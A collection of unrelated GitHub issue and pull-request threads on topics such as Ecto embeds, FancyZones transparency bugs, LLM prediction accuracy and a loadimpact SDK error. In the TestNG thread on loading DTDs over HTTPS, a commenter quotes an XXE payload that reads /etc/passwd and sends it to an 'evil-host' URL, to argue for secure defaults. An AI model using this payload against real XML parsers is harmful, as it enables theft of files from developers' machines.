Minor simplification to hash table access in el-patch--definition

This avoids one extra hash table lookup and generates slightly less code.
Testing was performed manually. I didn't notice any changes in behavior.

Thanks for your contribution.


[CONTROLLER/DB] add primary key for table db version #20806

This PR is for:

Server

Fixes mysql init error
Steps to reproduce the bug

init group replication mysql

Changes to fix the bug

add primary key for table db version

Affected branches

v6.1

Checklist

[ ] Added unit test to verify the fix.
[ ] Verified eBPF program runs successfully on linux 4.14.x.
[ ] Verified eBPF program runs successfully on linux 4.19.x.
[ ] Verified eBPF program runs successfully on linux 5.2.x.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.zhengya seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


fix: helloWorld -> HelloWorld

Since helloWorld is component, it is necessary that first character be capitalized.
https://reactjs.org/docs/jsx-in-depth.html#user-defined-components-must-be-capitalized

Agree, thanks


[Event Request] Table 39 "Purchase Line" – "Blanket Order No." OnValidate

[Event Request] Table 39 "Purchase Line" – "Blanket Order No." OnValidate
Could we please have a publisher OnValidateBlanketOrderNoOnAfterTestfieldQuantityReceived with Handled Pattern in OnValidate "Blanket Order No."  Table 39 "Purchase Line"?
          trigger OnValidate()
            // >>>>>>>>
            var
                IsHandled: Boolean;
            // <<<<<<<<
            begin
                TestField("Quantity Received", 0);

                // >>>>>>>>
                IsHandled := false;
                OnValidateBlanketOrderNoOnAfterTestfieldQuantityReceived(Rec, xRec, IsHandled);
                if IsHandled then
                    exit;
                // <<<<<<<<

                if "Blanket Order No." = '' then
                    "Blanket Order Line No." := 0
                else
                    Validate("Blanket Order Line No.");
            end;

..
   // >>>>>>>>
   [IntegrationEvent(false, false)]
    local procedure OnValidateBlanketOrderNoOnAfterTestfieldQuantityReceived(var PurchaseLine: Record "Purchase Line"; xPurchaseLine: Record "Purchase line"; var IsHandled: Boolean)
    begin
    end;
   // <<<<<<<<

Hi @ttaeufer . Short question, why can't you use standard OnBefore/OnAfter validate trigger subscribers?

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. We will update this issue with information about availability.

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. We will update this issue with information about availability.


Minimal implementation of branch coverage in LCOV parser

A minor translation from '-' to 0 avoids extra type checking later.
Also deletes a couple of unused methods.
TODO: fix all the rubocop violations in parse_line
Branch coverage information is stored which one line per branch:
  BRDA:<line number>,<block number>,<branch number>,<taken>

  Block  number  and  branch  number are gcc internal IDs for the branch.
  Taken is either '-' if the basic block containing the branch was  never
  executed or a number indicating how often that branch was taken.

See: http://ltp.sourceforge.net/coverage/lcov/geninfo.1.php

This implements #26 by using the following heuristic:
If using branch coverage, any branch not taken in a line marks the line as uncovered.

@magneland thanks for your contribution to undercover, I'm so excited to give it a closer look and a test drive (hopefully very soon) 🙌

Thanks for the review @grodowski :-)
I have added 3 fixup commits addressing your comments.
Let me know if you think it's good enough now, or if more tweaking is needed.
Also good point with the integration spec. I forgot to look at that.

I believe this is in a pretty good state now. Let me know at your leisure what you think!
BTW, one I thing I didn't quite get is how realistic fixtures.lcov is meant to be. Is it supposed to be the output of class.rb and module.rb? If so, I am confused on how the lines corresponding to end statements got there.

@magneland yeah the fixture.lcov file is handcrafted as of now and I agree that it's confusing. A potential improvement could be to create some actual fixture Ruby files with corresponding specs that could be used anytime to regenerate a correct fixture.lcov

👀 https://github.com/grodowski/undercover/commit/debdaba0f05f91f3bb0894803f1b0c8612cd66c5. I'll be documenting the feature in README and releasing a new minor version soon


About the accuracy of LLM predictions

Hi Xiaoxin. In the paper, the topK LLM predictions are used as node features. Do we have ablation study on the accuracy of the LLM predictions? Thanks a lot!

Hi,
Yes, we have the ablation study on the accuracy of the LLM prediction.

LM (top-1 accuracy). This refers to the top-1 accuracy of the LLM predictions. In Table 1 of the paper, you can find the LLM column with corresponding values for different datasets:

Cora: Top-1 accuracy of 0.6769
PubMed: Top-1 accuracy of 0.9342
OGBN-Arxiv: Top-1 accuracy of 0.7350

LM+GNN. This represents the combination of LM and GNN by using the top-k LLM predictions as the node features. The results are shown in Table 2 of the paper under the $f_{pred}$ column.

If you have any further questions or need more clarification, feel free to ask!

Hi Xiaoxin,
Thanks for this interesting work. I was checking the acc of the LLM's prediction using your provided data in "gpt_preds" However, the acc I tested is different from what you replied. My following piece of code is used, where I copied your load_gpt_preds function:
def load_gpt_preds(folder, dataset):
    preds = []
    fn = f"{folder}/{dataset}.csv"
    with open(fn, 'r') as file:
        reader = csv.reader(file)
        for row in reader:
            inner_list = []
            for value in row:
                inner_list.append(int(value))
            preds.append(inner_list)
    return preds

folder = "/MY_FOLDER/TAPE/gpt_preds"
datasets = ['cora', 'pubmed', 'ogbn-arxiv', 'ogbn-products', 'arxiv_2023']
for dataset in datasets:
    _, data = load_data(dataset, 'MY_ROOT_FOLDER') # this is the loading data function from OGB
    gt = data.y.flatten().tolist()
    for topk in range(1, 4):
        preds = load_gpt_preds(folder, dataset)
        preds = [x[:topk] for x in preds]
        assert len(preds) == len(gt)
        acc = sum([1 for i in range(len(gt)) if gt[i] in preds[i]]) / len(gt)
        print(f"Dataset: {dataset}, Top-{topk} Accuracy: {acc:.4f}")

and what I see is
Dataset: cora, Top-1 Accuracy: 0.1721
Dataset: cora, Top-2 Accuracy: 0.2430
Dataset: cora, Top-3 Accuracy: 0.2489
Dataset: pubmed, Top-1 Accuracy: 0.3645
Dataset: pubmed, Top-2 Accuracy: 0.3965
Dataset: pubmed, Top-3 Accuracy: 0.3980
Dataset: ogbn-arxiv, Top-1 Accuracy: 0.7350
Dataset: ogbn-arxiv, Top-2 Accuracy: 0.8756
Dataset: ogbn-arxiv, Top-3 Accuracy: 0.9240
Dataset: ogbn-products, Top-1 Accuracy: 0.7440
Dataset: ogbn-products, Top-2 Accuracy: 0.8513
Dataset: ogbn-products, Top-3 Accuracy: 0.8921
Dataset: arxiv_2023, Top-1 Accuracy: 0.7356
Dataset: arxiv_2023, Top-2 Accuracy: 0.8830
Dataset: arxiv_2023, Top-3 Accuracy: 0.9289

I think the acc on ogbn-arxiv matches what you reported, but the accs on Cora and Pubmed are much lower than the numbers you said 0.6769 and 0.9342.
I am wondering if the file "cora.csv" and "pubmed.csv" is wrong , could you help have a very quick check? I would greatly appreciate that!
Zhe


After Successful Install, the Code Reports Failure

We've had two reports of successful installations which fail to find the Logos exe afterwards. We need to determine why this is.

I am not sure if there are two issues here, but the one that I've run into is not at installation time (and thus I don't yet see a connection with the scripts in this repo).
The installation completes successfully, but from that point onwards, each time the application starts, it tries to update the application (currently on 29.1.22) automatically and it fails.

First the message that it is downloading the update.

Then when it completes the download, it throws this error dialog:

After dismissing that error dialog, the application continues to run and perform correctly it seems. However, you can see that the application update is in a stuck state in the logos notification tray.

Each time the app opens, it retries this (downloads that whole 300 MB and then throws the error) and then is usable as usual.

Ah, this is a different issue, yes, than the one reported previously.

Was that the one reported by Anthony?

Thanks again, installed, downloaded, and indexed fine.  restarted linux and works good, except every time i run it i get an error: logos setup: the installation of Logos Bible Study did not succeed. (i think It is a wine error- the taskbar shows the error with the "wine" icon).  can i just ignore this?

That looks like it may be the same one, but just misidentified?

That's the one!
Okay, so we have a new issue with automatic updates, correct? But it is not corrupting your install, right?

My best guess is that this is a duplicate of #22, unless you have reason to think otherwise.

I think it's totally possible that it's the same underlying issue manifesting in these two ways, but I'm not familiar enough with this yet to make a statement there.

Closing as duplicate of #22. If we can find evidence of something else, let's reopen.


Documentation on Commands/Database feature?

I would like to start using the database feature to track my tags, but I can't find any documentation on it.
What do each of the fields do? What are we expected to put in them? Does this feature even work right now?
I have tried to at least make a test database, but Grabber isn't making one, or even logging that it is trying. There also isn't an option anywhere to explicitly turn this feature on, so it's either disabled or on by default.
What do?

It's actually covered on this wiki page as an example on how to set it up for a local Gelbooru.
What are you trying to accomplish exactly?
If you want to use a custom DB as long as the tables structure doesn't change too much you should adapt easily from it.
The database commands are executed in this order (for a batch download):
before()
for each image
    for each tag
        tag()
    image()
after()

Database commands are enabled as soon as you put your database login information in the settings (but I admit adding an "enable/disable" checkbox could be nice).

It's actually covered on this wiki page as an example on how to set it up for a local Gelbooru.
What are you trying to accomplish exactly?
If you want to use a custom DB as long as the tables structure doesn't change too much you should adapt easily from it.
The database commands are executed in this order (for a batch download):
before()
for each image
    for each tag
        tag()
    image()
after()

Database commands are enabled as soon as you put your database login information in the settings (but I admit adding an "enable/disable" checkbox could be nice).

Closing since it's answered in the wiki.
Feel free to comment if you have additional questions.


Get Data from the Internet

URL of codelab:
Specify the language of the codelab if it is not English:
In which task and step of the codelab can this issue be found?
8. Parsing JSON response using kotlinx.serialization
Describe the problem
private val retrofit = Retrofit.Builder()
.addConverterFactory(Json.asConverterFactory("application/json".toMediaType()))
.baseUrl(BASE_URL)
.build()
The toMediaType() is not available.
Steps to reproduce?

Go to...
Click on...
See error...

Versions
Android Studio version:
API version of the emulator:
Additional information
Include screenshots if they would be useful in clarifying the problem.
private val retrofit = Retrofit.Builder()
.addConverterFactory(Json.asConverterFactory(MediaType.get("application/json")))
.baseUrl(BASE_URL)
.build()
MediaType.get() resolves the issue.toMediaType() Nothing can be solved.

Hello @zonghan-kim,
Thank you for reaching out to us and reporting this issue. The code block is updated:


Build 2 images

This arranges for automatically building both images. A reusable workflow is created and used by both jobs -- one for each image to be created. The reusable workflow is almost generic and initial work has been made in order to be able to pull it out into another repository at a later time.

@coderabbitai review

@coderabbitai review


Nothing happens

Installed via install button in atom install section. Hitting ctrl+shift+h or directly clicking on packages button does nothing. [visible confusion] Really nothing! Tried even restarting my pc. Also if running atom -f no log appears and no error messages, tried on may html, php, shtml pages and no result.
Linux   : Ubuntu 18.04.04 5.5.11
Atom    : 1.42.0
Electron: 4.2.7
Chrome  : 69.0.3497.128
Node    : 10.11.0

Ok it is working only with html files and also can not pick up images and styles from project root.


Add footer tests

Changes

Check page shows link to Mario's homepage
Check page shows link to Octoclairvoyant's GitHub repository
Check page shows Vercel badge

Context
This PR adds some more tests to check if we're actually displaying the wanted items in our footer. Right now it uses find by role, but it's not limited to checking the <footer> section, so it's really checking if the page shows the item, not if the footer specifically contains the items.
I need some help to get the Vercel badge test working properly. I cannot get it to accurately find the src to test that it uses the correct SVG image. I also cannot test the href that comes with the Vercel badge.
Tests

I've checked my work by:

[x] Adding new tests or adjusting existing tests
[ ] Testing manually

By the way I'm making this PR from a fork, not from within a branch that's already on the main repository. Gitpod doesn't allow me to push to any organization branch. I'll make a private discussion to debug this together. 😉

Can we move this to a branch within the repo now that we solved the gitpod issue?


[FancyZones] "Make dragged window transparent" feature corrupts window visual state of some applications

ℹ Information

PowerToys version: v0.31.2
PowerToy Utility: FancyZones
Windows build number: 20H2

📝 Reproduction steps

Enable setting "Make dragged window transparent" (properties.fancyzones_makeDraggedWindowTransparent : true)
Open window (of an WPF application that has set AllowsTransparency property)
Snap window into zone
Window won't properly snap into zone. In some cases window will turn black, or only "window borders" will remain drawn on screen

✔ Expected result
Snaps (resizes and repositions) window to zone without corrupting window state.
❌ Actual result
Corrupts display of an window as seen on screenshot below.
📷 Screenshots

@jurijr
can you provide an example of such application? Thanks.

@jurijr
can you provide an example of such application? Thanks.

The application in particular case was ManicTime.
I have attached (.net core 3.1 rt) sample:
helloworld.zip

I believe I have this same issue.  In my WPF app targetting .NET 5 once AllowsTransparency="True" and WindowStyle="None" is set the window becomes seemingly irresponsive if it's dragged into a fancy zone.  Here's the interesting thing, it's almost like a screenshot was taken of the window and that's never updated (but the program is still running and although it seems like it's not responding it IS working).
To prove my point, I dragged a WPF app with these settings and a single text box onto a fancy zone.  The window stopped responding, however, if I clicked where the text box was and started typing, then pressed "Control+A" to select all, then "Control+C" to copy I would in fact get the text I had typed into the textbox in the copy paste buffer even though I couldn't see any of those changes on the screen.
This was with a stock WPF template (.NET 5) with a few changes in the XAML of MainWindow (to set those properties + setting a window chrome to allow the window to be dragged).
<Window x:Class="WpfApp2.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
        xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
        xmlns:local="clr-namespace:WpfApp2"
        mc:Ignorable="d" WindowStyle="None" ResizeMode="CanResize"
        Style="{DynamicResource WindowChrome}"
        BorderThickness=".9" AllowsTransparency="True"
        Title="MainWindow" Height="450" Width="800">
    <Window.Resources>
        <Style x:Key="WindowChrome">
            <Setter Property="WindowChrome.WindowChrome">
                <Setter.Value>
                    <WindowChrome ResizeBorderThickness="3" CaptionHeight="5" />
                </Setter.Value>
            </Setter>
        </Style>
    </Window.Resources>
    <Grid>
        <TextBox HorizontalAlignment="Stretch" VerticalAlignment="Stretch"></TextBox>
    </Grid>
</Window>

@jurijr @blakepell
can you provide a solution instead of an executable/description?
Thanks

@jurijr @blakepell
can you provide a solution instead of an executable/description?
Thanks

WpfPowerToysTest_sln.zip


Frontend - Create layout structure

As a part of the main views, I want to have the header, footer, and body content ready to receive the new pages.

Split by components

This ticket was executed by another one.

https://github.com/fbrump/church-web-site-with-auth/issues/2


Example parameter file for the LAST aligner.

This file contains a score matrix after training LAST to align sarscov2 contigs to the sarscov2 genome. It will be used for the test of the last/lastal module that we are preparing (https://github.com/nf-core/modules/issues/464).

Can we rename like this please?

Okay, done!


chore(main): release 1.12.2

:robot: I have created a release beep boop
1.12.2 (2023-11-03)
Bug Fixes

🐛 Linux build error (c74f03d)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/viarotel-org/escrcpy/releases/tag/v1.12.2 :sunflower:


allow setting the storage path

First, thanks for this great project!
https://github.com/swdotcom/swdc-vscode-100-days-of-code/blob/250a46b45780f619d77ba1d99467a50fcaf27ce7/src/utils/Util.ts#L23

I believe forward slash is valid for windows paths, as all my scripts typically use forward slash to be cross compatible with Linux, MacOS, and Windows.
The storage path is fixed to the user home directory. This caused me some initial confusion as I was trying to indentify the path the log was stored to make sure it was backed up. In my case, I have a home/work pc and assumed this was stored in the extension data that is backed up, which it doesn't seem to.

Consider allowing this to be set for target path, so that I could use: C:\Users\username\AppData\Roaming\Code - Insiders\User\. Not sure if this would be globalStorage, workspaceStorage, or if you can create your own directory in there, or what.
For those using the sync extension, or the new visual studio code insiders preferences sync, this would ensure the log is backed up as part of that.

Thanks for creating this issue! We currently back up data using your software account so that it is accessible across multiple devices and editors. However, I think this is a great idea and can see how it could be useful. We’re going to look into adding this as a feature in V2.


Scrolling smaller issues

Two issues were encountered with the new scrolling mode:

[ ] If you open a new conversation and never scroll, it doesn't show the "v" button and does not stick to bottom
[x] I have seen once a "v" button appear when the conversation is just a message long

[x] if you delete messages in a conversation, and bring it back to smaller-than-height, the "v" still shows:

Closing - fixed.


Use 2 spaces for formatting instead of 4

It is more common and standard in Lua and MoonScript, and is what I use on ALL my other projects.
This will lead to fewer typos and mistakes because of that consistency.

Fixed on project-foxtrot.


Add multi-line rings

I think this would be sufficient to represent any script from Snap!.

Fixed in cc4f0c5.


Support for _tag and _profile as search parameters in x-fhir-query expression

Is your feature request related to a problem? Please describe.
Currently, it is not possible to use _tag or _profile with x-fhir-query for example you can not have Location?_tag=salima-catchments with within x-fhir-query expression. You will get an exception that the _tag not found in resource Location.
Describe the solution you'd like
Be able to tag resources and use the tags to filter them using x-fhir-query expressions
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.
Would you like to work on the issue?
I have a potential fix for this issue

@aditya-07 Can you please add this issue to Android FHIR SDK project?


New test configuration example

Your new test configuration example is not working: https://github.com/loadimpact/loadimpact-sdk-python#create-a-new-test-configuration.
I am getting:

File "assignment.py", line 122, in
    load.createTestConfiguration()
  File "assignment.py", line 104, in createTestConfiguration
    "loadzone": LoadZone.RACKSPACE_UK_LONDON
  File "/Library/Python/2.7/site-packages/loadimpact/clients.py", line 104, in create_test_config
    return TestConfig.create(self, data)
  File "/Library/Python/2.7/site-packages/loadimpact/resources.py", line 111, in create
    file_object=file_object)
  File "/Library/Python/2.7/site-packages/loadimpact/clients.py", line 51, in wrapper
    return func(*args, **kwargs)
  File "/Library/Python/2.7/site-packages/loadimpact/clients.py", line 193, in post
    return self._check_response(response)
  File "/Library/Python/2.7/site-packages/loadimpact/clients.py", line 235, in _check_response
    raise ClientError(msg, response=response)
loadimpact.exceptions.ClientError: Validation failed (https://api.loadimpact.com/v2/test-configs)

I suspected that is not working because of subscription.
So i try to put duraion 60 and duration 1 since it is not clear what is duration on your api minutes or seconds?
How can I check why validation is failing?

This issue is happening to me as well. It would be great to have some light shed on this.

My apologies for this very late response on original report of this issue @goors, and thanks for reporting this again @eLobeto. I'll have a look and see how we can improve the error message returned from the API. Totally agree it's not helpful as it is now.
I'll also update our v2 API docs and Python SDK README to clarify the unit for "duration" which is supposed to be specified in minutes.

@eLobeto Would you mind sharing the test config you were trying to create with the SDK when you got the "Validation failed" error?

Sure, thanks for looking into it!
I've been trying to use:
config = client.create_test_config({
    'name': 'Default Test',
    'url': 'http://www.google.com/',
    'config': {
        "user_type": "sbu",
        "load_schedule": [{"users": 50, "duration": 5}],
        "tracks": [{
            "clips": [{
                "user_scenario_id": 1, "percent": 100
            }],
            "loadzone": LoadZone.AMAZON_US_ASHBURN
        }]
    }
})

Thanks. I've now improved the API error handling in the SDK to print the error message present in the response from the API (initially I thought the API didn't return any useful error, but it actually does since 6 months back).
I've uploaded a new version of the SDK to PyPI, v1.1.3.
The error in your case is that the user scenario (with ID 1) referenced in the config is not from your account. Here is an extended version of your example that includes the creation of a user scenario:
import loadimpact

# Setup API client
client = loadimpact.ApiTokenClient(api_token='...')

# Create user scenario
load_script = """
local response = http.get("http://www.google.com')
log.info("Load time: "..response.total_load_time.."s")
client.sleep(10)
"""
user_scenario = client.create_user_scenario({
    'name': "My user scenario",
    'load_script': load_script
})

# Create test config with user scenario created above
config = client.create_test_config({
    'name': 'Default Test',
    'url': 'http://www.google.com/',
    'config': {
        "user_type": "sbu",
        "load_schedule": [{"users": 50, "duration": 5}],
        "tracks": [{
            "clips": [{
                "user_scenario_id": user_scenario.id, "percent": 100
            }],
            "loadzone": loadimpact.LoadZone.AMAZON_US_ASHBURN
        }]
    }
})

Thanks again for reporting. Closing this issue.


Sveltekit with Lambda edge gives error even tho i dont have environment variables set.

MyWebCdnDistribution
sdk-v2/provider2.go:509: sdk.helper_schema: creating CloudFront Distribution: operation error CloudFront: CreateDistributionWithTags, https response error StatusCode: 400, RequestID: c02658b9-bf27-4142-80eb-dcfde2894aa1, InvalidLambdaFunctionAssociation: The function cannot have environment variables. Function: arn:aws:lambda:us-east-1:913524907086:function:cyclixfrontend-production-MyWebEdgeServerFunction:4<EMAIL_ADDRESS>MyWebCdnDistribution
1 error occurred:
* creating CloudFront Distribution: operation error CloudFront: CreateDistributionWithTags, https response error StatusCode: 400, RequestID: c02658b9-bf27-4142-80eb-dcfde2894aa1, InvalidLambdaFunctionAssociation: The function cannot have environment variables. Function: arn:aws:lambda:us-east-1:913524907086:function:cyclixfrontend-production-MyWebEdgeServerFunction:4

Any update?

@jayair
  async run() {
    new sst.aws.React('MyWeb', {
      edge: true,
    });
  },

Oh that component hasn't been released yet. It's still a WIP.

Same for the Remix component


Casting an embedded schema with a default ends up with action :update instead of :insert

Environment

Elixir version (elixir -v): Elixir 1.12.0 (compiled with Erlang/OTP 24)
Database and version (PostgreSQL 9.4, MongoDB 3.2, etc.): MySQL 8
Ecto version (mix deps): ecto 3.6.2
Database adapter and version (mix deps): myxql 0.5.1
Operating system: MacOS 11.4

Current behavior
When casting an embedded schema with embed_one, Ecto does not properly detect the action as :insert if there is a default value for the embed.
Expected behavior
I think the action of the cast should take into account whether or not the embedded schema's PK is nil; if so the action should stay as :insert.
I have added a unit test to reproduce this error at https://github.com/ccapndave/ecto/commit/5317ab0b2d90473b271822010aeaea2109fecfc9 but I'm afraid I'm not really sure how to fix it :)

It is complicated to guess scenarios like this because what happens if there was already an embed, not because of the default, but because you put it there as part of the changeset? Are you sure you want to discard it?
So in my mind you should either replace it by using the on_replace config or fix the problem at the root: which is to not have a default value, because Ecto will treat any data currently in the struct as data that actually belongs to the struct (and trying to guess otherwise can be surprising).

Oh, additionally note that embeds are not required to have primary keys either, so any heuristic based on it can fail in order circumstances.

My issue is that in my use case the parent conceptually does have a default value - the parent is Account and it contains a single Settings embed, so when creating a new account it comes with a bunch of default settings (defined by the defaults in the Settings schema) - I did that based on https://github.com/elixir-ecto/ecto/issues/2634

It is complicated to guess scenarios like this because what happens if there was already an embed, not because of the default, but because you put it there as part of the changeset? Are you sure you want to discard it?

In any case, if the whole struct has not yes been persisted and has a PK of nil wouldn't it still remain an :insert?  Could the logic simply be if the embedded schema has a PK, and if its nil then the action has to be :insert?

Oh, additionally note that embeds are not required to have primary keys either, so any heuristic based on it can fail in order circumstances.

Absolutely - if the embedded schema has no PK then Ecto of course can't figure this out.  This is specifically for embedded schemas with PKs.

As a temporary workaround I can use this to generate the correct action:
%Account{}
|> Ecto.Changeset.change(settings: %Settings{})
|> Account.changeset(params)
... etc ...


Emergency Trauma Unit Equipment

About the PR
Due to budget cuts in another sector, stations in the drift have been given ETU surplus equipment, a hybrid between corporate armour and practical equipment, all while offering protection!
ETU Equipment does not provide protection. Insurance does not cover accidents that occur while wearing ETU surplus equipment. TTE:tm: is not responsible for any lasting damage caused by ETU equipment.
Why / Balance
It looks cool and its something else to wear for paramedics or field medics
Technical details
Several RSI files, A few new YML files and more namespace specific folders
Media

[x] I have added screenshots/videos to this PR showcasing its changes ingame, or this PR does not require an ingame showcase

Breaking changes
Changelog
:cl:
tweak: Boiler suit name and desc were flipped in code
add: Added new ETU outfit

technically ready, I still have to do the webbing and bags though

Those look amazing!

current issue, medkits show up as ERROR when in belt, don't show the equipped sprites

I can't tell which is the front side and which is the back side of the helmet. It's very unreadable.

I can't tell which is the front side and which is the back side of the helmet.  READY FOR REVIEW !!!

last minute changes because I noticed that reptilian snouts don't fit right

stiiill working on this, not quite ready to be merged yet

if that conflict strangles this i stg, otherwise this is good for review

ITS GREEEEEN

🎉

@LankLTE ready for review 👍


Issue with k8s.io/docs/tasks/access-kubernetes-api/custom-resources/custom-resource-definitions/

This is a Bug Report

Problem:
The page https://kubernetes.io/docs/tasks/access-kubernetes-api/custom-resources/custom-resource-definitions/ does not display normally.
Proposed Solution:
Fix any HTML or CSS bugs.
Page to Update:
https://kubernetes.io/docs/tasks/access-kubernetes-api/custom-resources/custom-resource-definitions/

#20937 is really a dup of this. But that issue has been added to the tracking issue. So this one should be closed as a DUP.

/triage duplicate

confirmed. this is a dup of a closed issue.
pls feel free to reopen if that is not true.
/close


Consider moving expectJSONTypes into a plugin

I wanted to consider going one step further from #84 and moving expectJSONTypes into a plugin.
I'd prefer to have an unopinionated core, and let people use whatever schema validation library they'd like. Supporting more schema validation libraries probably means more plugins, rather than adding other schema validation integrations into core.
I'd also like to strengthen our budding plugin ecosystem. Having good examples of plugins, and people using them, helps do that.
@MarkHerhold it seems like you're a big Joi user, and that there probably are many icedfrisby users who are using it, so continuing to have smooth integration is important. The plugin would be pretty smooth, working just as today, though requiring a couple lines of code to construct the mixin. That can be moved into a utility package so it doesn't need to be repeated in every file.
The advantage would be fewer tests in core, slightly less code, and a shining example of what a schema-validation plugin should look like.
We could use lerna to manage development of both modules in a single repo. Honestly our plugin infrastructure is pretty stable and so is the expectJSONTypes code, so there may not be any need for coordinated development. It might be less work to develop it in its own repo.

I'm all for migrating specific functionality to plugins and out of core. 👍
I think that we should expect to see more async plugins that will need an async (Promise) plugin API. I think it might be advantageous to look into what would be required to support this before we push all the features out of core and then be forced to rewrite the plugin interface later.

How would you like to proceed with this? Would you like me to break it out into a separate repo? Or to set up lerna?

I'm game for trying lerna. If it doesn't work, we can just split it out to a separate repo.
Do we want to make an IcedFrisby GitHub org so this isn't under my name going forward?

I've gone ahead and created the organization, and invited you and @cvega.
That reminds me: @Fishbowler, I wonder if you would like to join forces with us. Would be great to have you on board as a maintainer!

Do you want to move the repo over @MarkHerhold?

I'd love to! My skills aren't super-strong, but I'm certainly eager.
Got a few more ideas for plugins I want to write too, having read that I can extend existing functions.
Also, the docs. Really wanna fix the docs. I'll do that first.

On the note about expectJSONTypes, I make heavy use of it, but it always feels "different" from other checks.
How could we manage upgrades on existing installs where it's in use? Is it enough to rely on people having solid package.json settings for packages? Maybe we deprecate and issue a warning akin to the multi globalSetup?

@paulmelnikow can you send the invite again? I didn't get anything. 🤔

You should be able to access it here: https://github.com/icedfrisby

How could we manage upgrades on existing installs where it's in use? Is it enough to rely on people having solid package.json settings for packages? Maybe we deprecate and issue a warning akin to the multi globalSetup?

Yea, I think a major semver bump is sufficient, with a mention in the release notes.

@paulmelnikow xfered 👍

It occurs to me the original scope of this issue slots nicely with the recent removing of the Joi dependency, since Joi would likely be a dependency of this optional plugin.

Just thinking about making a start on this. One of the migration paths might be to introduce a rename?
expectJSONSchema maybe? I'd like to start getting a few of the plugins into the repo ready for v2


Use HTTPS for loading DTD

Closes #2022
Fixes #2022  .
Did you remember to?

[ ] Add test case(s)
[X] Update CHANGES.txt

We encourage pull requests that:

Add new features to TestNG (or)
Fix bugs in TestNG

If your pull request involves fixing SonarQube issues then we would suggest that you please discuss this with the
TestNG-dev before you spend time working on it.

Awesome, thanks @krmahadevan !
/cc @JLLeitschuh

Is the result = super.resolveEntity(systemId, publicId); still nessasary? For security purposes, I'd reccomend disabling resolving resources if they are HTTP based. If you still need to support resolving resources over HTTP, it should require users to explicitly opt-in to loading resources insecurely.
https://github.com/cbeust/testng/pull/2023/files#diff-d01a39db76326549b3f1de7579cc258fR112

@JLLeitschuh

Is the result = super.resolveEntity(systemId, publicId);

IMO, yes. Else it would break backward compatibility.

If you still need to support resolving resources over HTTP, it should require users to explicitly opt-in to loading resources insecurely.

Why would TestNG want to control what a user wants to do ? That to me sounds like we are trying to control what a user would like to do. I can understand that TestNG should by itself strive to use only the https end-point, but why try to enforce that amongst users too ?

I can understand that TestNG should by itself strive to use only the https end-point, but why try to enforce that amongst users too?

Because you are protecting users from themselves. Most users don't understand the security risks of XML loaded over HTTP.
If via a MITM, a malicious actor can add the following to any DTD loaded, I can use their XML parser to maliciously exfiltrate the contents of files.
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 '<!ENTITY % external SYSTEM "http://my.evil-host.com/x=%payload;">'>
%param1;
%external;

Most users aren't aware of the risk of XXE against XML parsers. By requiring explicit opt-in, you are protecting users from shooting themselves in the foot.

@JLLeitschuh

Because you are protecting users from themselves. Most users don't understand the security risks of XML loaded over HTTP.

That to me doesn't sound like the primary responsibility of a test framework. TestNG is supposed to just be a test framework. Not sure if we are to be straying away from that and trying to put in checks and balances that would ensure that a user doesn't intentionally or unintentionally expose themselves to security risks.

TestNG is supposed to just be a test framework.

Correct. That being said, TestNG should not be something that an attacker can leverage to maliciously exfiltrate the contents of files from a developers machine or build server.

Not sure if we are to be straying away from that and trying to put in checks and balances that would ensure that a user doesn't intentionally or unintentionally expose themselves to security risks.

In some cases, I would agree, but in this case, since all it requires is a single character typo for a user to be vulnerable (http vs https), it is incredibly easy for TestNG to implement checks to protect the user.
Similarities with Issue #2018
Once the dust settles on this HTTP incident around resolving dependencies (I'm waiting on some other projects/teams to resolve the issue), I plan to open feature requests with Gradle, Maven, and SBT to suggest that all of these tools require the user to explicitly opt-out of the security offered by resolving dependencies over HTTPS.
It's so simple for users to unintentionally be vulnerable to this.

ping @cbeust @juherr - Your thoughts on this ?

I lean toward accepting @JLLeitschuh's point right now, assuming we don't break backward compatibility.
Well, actually, even if we do break backward compatibility, we are about to release 7.0, so now would be the perfect time to do so.

Nice work @krmahadevan!


Brewfile: Don't need to tap caskroom/cask anymore

brew cask is available automatically in recent versions of Homebrew (and the caskroom org was merged into Homebrew as well).

Thanks for this, @xtian. :zap:


[MINOR][ZEPPELIN-2087] Make each Zeppelin conf property accessible with anchor link

What is this PR for?
Sometimes I need to point some Zeppelin configuration property to let sbd know. But as Zeppelin conf table has too many properties now(about 35), it's hard to find where the property that I'm finding located.
So I made each Zeppelin conf property accessible by adding anchor icon next to it. And added

to let ppl know about this.
What type of PR is it?
Improvement | Documentation
What is the Jira issue?
ZEPPELIN-2087
How should this be tested?

Build /docs as described in here

Go to "Quick Start" ->"Getting Started" -> "Configuration"

Mouse hover on each property and click the anchor icon -> check the url header bar

Screenshots (if appropriate)

Questions:

Does the licenses files need update? no
Is there breaking changes for older versions? no
Does this needs documentation? no

Tested and works as expected.

@1ambda Thanks for verification!
CI failure is irrelevant to docs change. Merge into both branch-0.7 and master if there are no more comments.


Weird character showing before ->

Current behavior
Weird character showing before ->
Expected behavior
No character showing before -> (?)
Relevant Zsh configuration (.zshrc)
# If you come from bash you might have to change your $PATH.
# export PATH=$HOME/bin:/usr/local/bin:$PATH

# Path to your oh-my-zsh installation.
export ZSH="/Users/soumya.mohanty/.oh-my-zsh"

# For nvm
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" in each ne

# Set name of the theme to load --- if set to "random", it will
# load a random theme each time oh-my-zsh is loaded, in which case,
# to know which specific one was loaded, run: echo $RANDOM_THEME
# See https://github.com/ohmyzsh/ohmyzsh/wiki/Themes
ZSH_THEME="spaceship"

# Set list of themes to pick from when loading at random
# Setting this variable when ZSH_THEME=random will cause zsh to load
# a theme from this variable instead of looking in $ZSH/themes/
# If set to an empty array, this variable will have no effect.
